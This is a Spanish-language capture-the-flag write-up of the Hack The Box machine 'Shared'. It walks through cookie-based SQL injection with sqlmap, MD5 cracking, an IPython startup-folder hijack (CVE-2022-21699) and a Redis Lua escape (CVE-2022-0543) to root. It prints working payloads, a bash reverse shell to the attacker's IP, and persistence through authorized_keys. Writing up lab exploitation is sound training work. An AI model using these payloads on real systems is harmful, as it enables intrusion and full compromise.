Hack The Box: Shared Writeup | Medium

Table of Contents

Hack The Box: Shared Writeup

Welcome to my detailed writeup of the medium difficulty machine “Shared” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.250.135 --ulimit 5000 -g
210.129.250.135 -> [22,80,443]
 1$ nmap -p22,80,443 -sCV 10.129.250.135 -oN allPorts 
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 13:22 CEST
 3Nmap scan report for 10.129.250.135
 4Host is up (0.036s latency).
 5
 6PORT    STATE SERVICE  VERSION
 722/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
10|   256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
11|_  256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
1280/tcp  open  http     nginx 1.18.0
13|_http-server-header: nginx/1.18.0
14|_http-title: Did not follow redirect to http://shared.htb
15443/tcp open  ssl/http nginx 1.18.0
16| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
17| Not valid before: 2022-03-20T13:37:14
18|_Not valid after:  2042-03-15T13:37:14
19|_ssl-date: TLS randomness does not represent time
20|_http-server-header: nginx/1.18.0
21| tls-alpn: 
22|   h2
23|_  http/1.1
24|_http-title: Did not follow redirect to https://shared.htb
25| tls-nextprotoneg: 
26|   h2
27|_  http/1.1
28Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
29
30Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
31Nmap done: 1 IP address (1 host up) scanned in 17.09 seconds

Descubrimos el dominio shared.htb , lo añadimos al /etc/hosts

Con openssl s_client -showcerts -connect shared.htb:443 podemos ver el certificado TLS, pero no encontramos nada relevante.

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.250.135 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 13:25 CEST
 3Nmap scan report for 10.129.250.135
 4Host is up (0.038s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7639/udp   closed msdp
 8782/udp   closed hp-managed-node
 922611/udp closed unknown
1027707/udp closed unknown
1149198/udp closed unknown
1254321/udp closed bo2k
13
14Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

HTTP Enumeration

1$ whatweb http://shared.htb
2http://shared.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.129.250.135], RedirectLocation[https://shared.htb/], nginx[1.18.0]
3https://shared.htb/ [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.129.250.135], RedirectLocation[https://shared.htb/index.php], nginx[1.18.0]
4https://shared.htb/index.php [200 OK] Cookies[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[PHPSESSID,PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c], IP[10.129.250.135], JQuery, Open-Graph-Protocol[website], PoweredBy[PrestaShop], PrestaShop[EN], Script[application/ld+json,text/javascript], Title[Shared Shop], X-UA-Compatible[ie=edge], nginx[1.18.0]

Parece un PrestaShop

PrestaShop is an Open Source e-commerce web application, committed to providing the best shopping cart experience for both merchants and customers

Por HTTPS me redirecciona al PrestaShop también.

Podemos comprobar si está el típico archivo INSTALL.txt para comprobar la versión del CMS. Write-up Image

Aunque en el footer.

Tras buscar por la versión encuentro varias vulnerabilidades, pero para la mayoría necesito estar autenticado. Existen algunas SQLi pero no es vulnerable parece ser.

Con wfuzz podemos enumerar subdominios, y encontramos uno, checkout.shared.htb , lo añadimos al /etc/hosts

 1$ wfuzz --hh=169 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.shared.htb' http://shared.htb
 2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 3********************************************************
 4* Wfuzz 3.1.0 - The Web Fuzzer                         *
 5********************************************************
 6
 7Target: http://shared.htb/
 8Total requests: 114441
 9
10=====================================================================
11ID           Response   Lines    Word       Chars       Payload                  
12=====================================================================
13
14000000001:   302        0 L      0 W        0 Ch        "www"                    
15000002549:   200        64 L     151 W      3229 Ch     "checkout"               
16^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
17
18Total time: 0
19Processed Requests: 2911
20Filtered Requests: 2909
21Requests/sec.: 0

Un poco extraño este subdominio, y cuando visualmente no tiene buena pinta es por algo.. Write-up Image

Podemos añadir un producto al carrito desde el dominio principal y se ve reflejado en este subdominio. Write-up Image

Write-up Image

Esto se esta realizando debido a una cookie llamada custom_cart

Write-up Image

XSS

Podemos hacer un URL Decode y modificar la cookie mas cómodamente. {"CRAAFTKP":"1"}

Descubrimos un XSS si inyectamos una etiqueta script en el campo de cantidad {"CRAAFTKP":"<script>alert(1)</script>"}

Write-up Image

SQL Injection

Pero la cosa se pone mas interesante, ya que si por ejemplo, modificamos el nombre del producto.. {"NOEXISTO":"1"} Write-up Image

Esto significa que se está haciendo una consulta por detrás a la base de datos, pasando el valor de esta cookie. Podemos probar a hacer una SQLi básica de comprobación {" ' or 1=1-- -":"1"}

Si me representa un objeto significa que esa consulta ha devuelto algo y por lo cual es vulnerable a SQLi.

Vaya.. Write-up Image

A mi me gusta hacer scripts pero hoy he tenido un día movidito así que vamos a utilizar sqlmap, que tampoco es delito utilizarlo.

Tardamos un poco en conseguir el payload correcto con sqlmap pero tras unos minutos…

 1$ sqlmap --level 5 --risk 3 -u https://checkout.shared.htb/ --batch  --os='linux' --cookie='custom_cart={"*":"1"}' --dbms=mysql
 2....
 3sqlmap identified the following injection point(s) with a total of 2903 HTTP(s) requests:
 4---
 5Parameter: Cookie #1* ((custom) HEADER)
 6    Type: time-based blind
 7    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
 8    Payload: custom_cart={"' AND 6293=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- xuSZ":"1"}
 9
10    Type: UNION query
11    Title: Generic UNION query (NULL) - 4 columns
12    Payload: custom_cart={"' UNION ALL SELECT NULL,CONCAT(0x7178787071,0x5555627a4458716f72716658504b706b58727a6f506a43436b414a5a547a656c42675a624f685453,0x7162627a71),NULL-- -":"1"}
13---
14[12:07:13] [INFO] the back-end DBMS is MySQL
15web application technology: Nginx 1.18.0
16back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
17[12:07:13] [INFO] fetched data logged to text files under '/home/pointedsec/.local/share/sqlmap/output/checkout.shared.htb'

Enumerating Database -> Foothold

Y ya podemos ir enumerando con sqlmap Podemos ver que hay dos bases de datos. [] checkout [] information_schema

En la base de datos checkout hay dos tablas. [2 tables] +———+ | user | | product | +———+

Y dentro de la tabla user encontramos un registro

+----+----------------------------------+-------------+
| id | password                         | username    |
+----+----------------------------------+-------------+
| 1  | fc895d4eddc2fc12f995e18c865cf273 | james_mason |
+----+----------------------------------+-------------+

Podemos revisar en hashes.com y vemos que este hash ya había sido roto anteriormente. Write-up Image

Aunque con hashcat podríamos crackear este hash. Podemos hacer una búsqueda en Google y ver que en la versión 1.7 de PrestaShop se hasheaba las contraeñas en MD5, cosa que también podemos ver visualmente ya que el hash se parece.

 1 hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
 2 ...
 3 fc895d4eddc2fc12f995e18c865cf273:Soleil101                
 4                                                          
 5Session..........: hashcat
 6Status...........: Cracked
 7Hash.Mode........: 0 (MD5)
 8Hash.Target......: fc895d4eddc2fc12f995e18c865cf273
 9Time.Started.....: Wed Aug  7 12:12:09 2024 (1 sec)
10Time.Estimated...: Wed Aug  7 12:12:10 2024 (0 secs)
11...

Bien, tenemos unas credenciales james_mason:Soleil101

Mi idea era ganar acceso a través del PrestaShop, pero podemos iniciar sesión con estas credenciales a través del SSH.

 1$ sshpass -p 'Soleil101' ssh james_mason@shared.htb 
 2Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
 3
 4The programs included with the Debian GNU/Linux system are free software;
 5the exact distribution terms for each program are described in the
 6individual files in /usr/share/doc/*/copyright.
 7
 8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 9permitted by applicable law.
10Last login: Thu Jul 14 14:45:22 2022 from 10.10.14.4
11james_mason@shared:~$ whoami
12james_mason

User Pivoting

Vemos que hay otro usuario en la máquina llamado dan_smith

1james_mason@shared:/home$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3james_mason:x:1000:1000:james_mason,,,:/home/james_mason:/bin/bash
4dan_smith:x:1001:1002::/home/dan_smith:/bin/bash

Podemos ver los archivos del directorio personal de trabajo de dan_smith y vemos un directorio .ipython Write-up Image

Encontramos algunos fallos de seguridad asociados a ipython

https://github.com/advisories/GHSA-pq7m-3gw7-gq5x

En principio, si tengo permiso de escritura en alguna parte del sistema donde el usuario dan_smith esté ejecutando ipython , podría ejecutar comandos como este usuario. Write-up Image

Esto es porque ipython < 8.0.0 ejecuta archivos sin importar de que usuario provengan que estén en el CWD (Current Working Directory). Por lo cual esto permitiría a un usuario ejecutar código como otro.

Bien, primero hay que saber que versión de ipython tiene la máquina víctima.

1$  /usr/local/bin/ipython --version
28.0.0

Genial, ahora solo tenemos que descubrir donde podemos aprovecharnos de este fallo.

Como esto es un CTF, me imagino que habrá una tarea cron por detrás de este usuario, podemos compartirnos el pspy64 y ejecutarlo en la máquina víctima.

Y vemos lo siguiente

12024/08/07 06:28:01 CMD: UID=1001  PID=2748   | 
22024/08/07 06:28:01 CMD: UID=1001  PID=2749   | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 
32024/08/07 06:28:01 CMD: UID=1001  PID=2750   | /usr/bin/python3 /usr/local/bin/ipython

Vemos que dan_smith está ejecutando ipython en el directorio /opt/scripts_review dan_smith:x:1001:1002::/home/dan_smith:/bin/bash -> UID 1001

Como pertenecemos al grupo developers, tenemos permiso de escritura en este directorio.

1james_mason@shared:/opt$ ls -la
2total 12
3drwxr-xr-x  3 root root      4096 Jul 14  2022 .
4drwxr-xr-x 18 root root      4096 Jul 14  2022 ..
5drwxrwx---  2 root developer 4096 Jul 14  2022 scripts_review
6james_mason@shared:/opt$ cd scripts_review/^C
7james_mason@shared:/opt$ id
8uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)

Preparamos un archivo /tmp/pwn.py donde vamos a cargar esta reverse shell de revshells.com Write-up Image

Creamos los directorios…

1james_mason@shared:/tmp$ mkdir -m 777 /opt/scripts_review/profile_default
2james_mason@shared:/tmp$ mkdir -m 777 /opt/scripts_review/profile_default/startup

Copiamos nuestro pwn.py

1james_mason@shared:/tmp$ cp pwn.py /opt/scripts_review/profile_default/startup/.

Y nos ponemos en escucha con pwncat-cs por el puerto 443

1$ sudo pwncat-cs -lp 443

Al cabo de unos segundos..

 1$ sudo pwncat-cs -lp 443
 2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
 3  'class': algorithms.Blowfish,
 4[12:37:00] Welcome to pwncat 🐈!                                           __main__.py:164
 5[12:37:01] received connection from 10.129.250.135:38510                        bind.py:84
 6[12:37:01] 0.0.0.0:443: normalizing shell path                              manager.py:957
 7[12:37:02] 10.129.250.135:38510: registered new host w/ db                  manager.py:957
 8(local) pwncat$ back
 9(remote) dan_smith@shared:/opt/scripts_review$ whoami
10dan_smith

Y podemos leer la flag de usuario

1(remote) dan_smith@shared:/home/dan_smith$ cat user.txt 
27d60bf7a99bbf213....

Al cabo de unos segundos perdemos la conexión, así que vamos a agregar mi clave pública de atacante al /home/dan_smith/.ssh/authorized_keys para asegurar persistencia.

1$ cp /home/pointedsec/.ssh/id_rsa.pub  .
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/shared/content]
3└──╼ [★]$ mv id_rsa.pub authorized_keys

Simplemente con pwncat-cs al recibir la conexión.

upload authorized_keys /home/dan_smith/.ssh/authorized_keys

Y ya podemos iniciar sesión mediante SSH.

 1$ ssh dan_smith@shared.htb
 2Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
 3
 4The programs included with the Debian GNU/Linux system are free software;
 5the exact distribution terms for each program are described in the
 6individual files in /usr/share/doc/*/copyright.
 7
 8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 9permitted by applicable law.
10Last login: Thu Jul 14 14:43:34 2022 from 10.10.14.4
11dan_smith@shared:~$ whoami
12dan_smith

Privilege Escalation

Vemos que el usuario dan_smith pertenece a un grupo sysadmin

1dan_smith@shared:~$ id
2uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)

Encontramos un archivo asociado a este grupo.

dan_smith@shared:~$ find / -type f -group sysadmin  2>/dev/null 
/usr/local/bin/redis_connector_dev

El archivo es de root y cuando lo ejecutamos…

 1dan_smith@shared:~$ ls -la /usr/local/bin/redis_connector_dev
 2-rwxr-x--- 1 root sysadmin 5974154 Mar 20  2022 /usr/local/bin/redis_connector_dev
 3dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
 4[+] Logging to redis instance using password...
 5
 6INFO command result:
 7# Server
 8redis_version:6.0.15
 9redis_git_sha1:00000000
10redis_git_dirty:0
11redis_build_id:4610f4c3acf7fb25
12redis_mode:standalone
13os:Linux 5.10.0-16-amd64 x86_64
14arch_bits:64
15multiplexing_api:epoll
16atomicvar_api:atomic-builtin
17gcc_version:10.2.1
18process_id:3380
19run_id:1b607241f518d87566ae2fe57dd9eb15095b42fc
20tcp_port:6379
21uptime_in_seconds:4
22uptime_in_days:0
23hz:10
24configured_hz:10
25lru_clock:11751358
26executable:/usr/bin/redis-server
27config_file:/etc/redis/redis.conf
28io_threads_active:0
29 <nil>

Me llama la atención el mensaje Logging to redis instance using password…

Esto significa que la contraseña debe de estar o dentro del binario, o por alguna parte de la máquina, así que vamos a descubrirlo.

Nos vamos a traer el binario a nuestra máquina.

1$ file redis_connector_dev
2redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped

Vemos que es un binario ELF compilado en Go

Podríamos analizar el binario con ghidra pero como este binario intenta entablar una conexión por detrás, podemos con wireshark capturar el tráfico e intentar ver si la contraseña viaja en texto claro.

Para que se tramite la autenticación, primero se comprueba que existe un servicio redis, por lo cual.

1sudo apt install redis-server

Iniciamos el servidor

1$ redis-server

Y capturamos con wireshark utilizando el siguiente filtro: tcp.port == 6379

Y al ejecutar el binario.. Write-up Image

F2WHqJUz2WEz=Gqq

En la máquina víctima

Podemos comprobar que esta contraseña es válida.

1dan_smith@shared:~$ redis-cli -h 127.0.0.1
2127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
3OK
4127.0.0.1:6379>

Vemos que la versión de redis-server es la 6.0.15

1127.0.0.1:6379> info server
2# Server
3redis_version:6.0.15

Tras investigar un rato, podemos encontrar un apartado en vulhub que contiene el CVE-2022-0543 https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md

En este one-liner sucede la magia.

1eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Y tenemos ejecución de comandos como root

1127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
2"uid=0(root) gid=0(root) groups=0(root)\n"

La vulnerabilidad surge debido a una configuración incorrecta en el entorno de Lua utilizado por Redis en los paquetes de Debian. Específicamente, los paquetes de Redis en Debian no aislaban adecuadamente el entorno de ejecución de Lua, permitiendo que scripts Lua accedieran a funciones peligrosas del sistema operativo.

Lua, al estar mal configurado, tenía acceso a ciertas bibliotecas internas de Lua que permiten la ejecución de código arbitrario

package.loadlib y ffi: Estas bibliotecas permiten cargar bibliotecas dinámicas del sistema y ejecutar código nativo, lo que un atacante puede utilizar para ejecutar código arbitrario en el servidor Redis.

Vamos a ganar la consola como root

Nos ponemos en escucha con pwncat-cs por el puerto 443

1$ sudo pwncat-cs -lp 443

En la máquina víctima nos creamos un pequeño script rev.sh

1dan_smith@shared:/tmp$ cat /dev/shm/rev.sh
2#!/bin/bash
3
4bash -c "bash -i >& /dev/tcp/10.10.14.91/443 0>&1"

Ejecutamos este script desde redis aprovechándonos de la vulnerabilidad encontrada anteriormente..

1127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash /dev/shm/rev.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
1
2(local) pwncat$ back
3(remote) root@shared:/var/lib/redis# id
4uid=0(root) gid=0(root) groups=0(root)

Podríamos leer la flag de root

1(remote) root@shared:/var/lib/redis# cd /root
2(remote) root@shared:/root# ls
3c.sh  root.txt
4(remote) root@shared:/root# cat root.txt
5567b0aecc4a8a5d4c...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Shared   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #Enumerating PrestaShop   #Discovering Subdomains   #XSS   #SQL Injection   #Hash Cracking   #CVE-2022-21699   #User Pivoting   #Wireshark   #CVE-2022-0543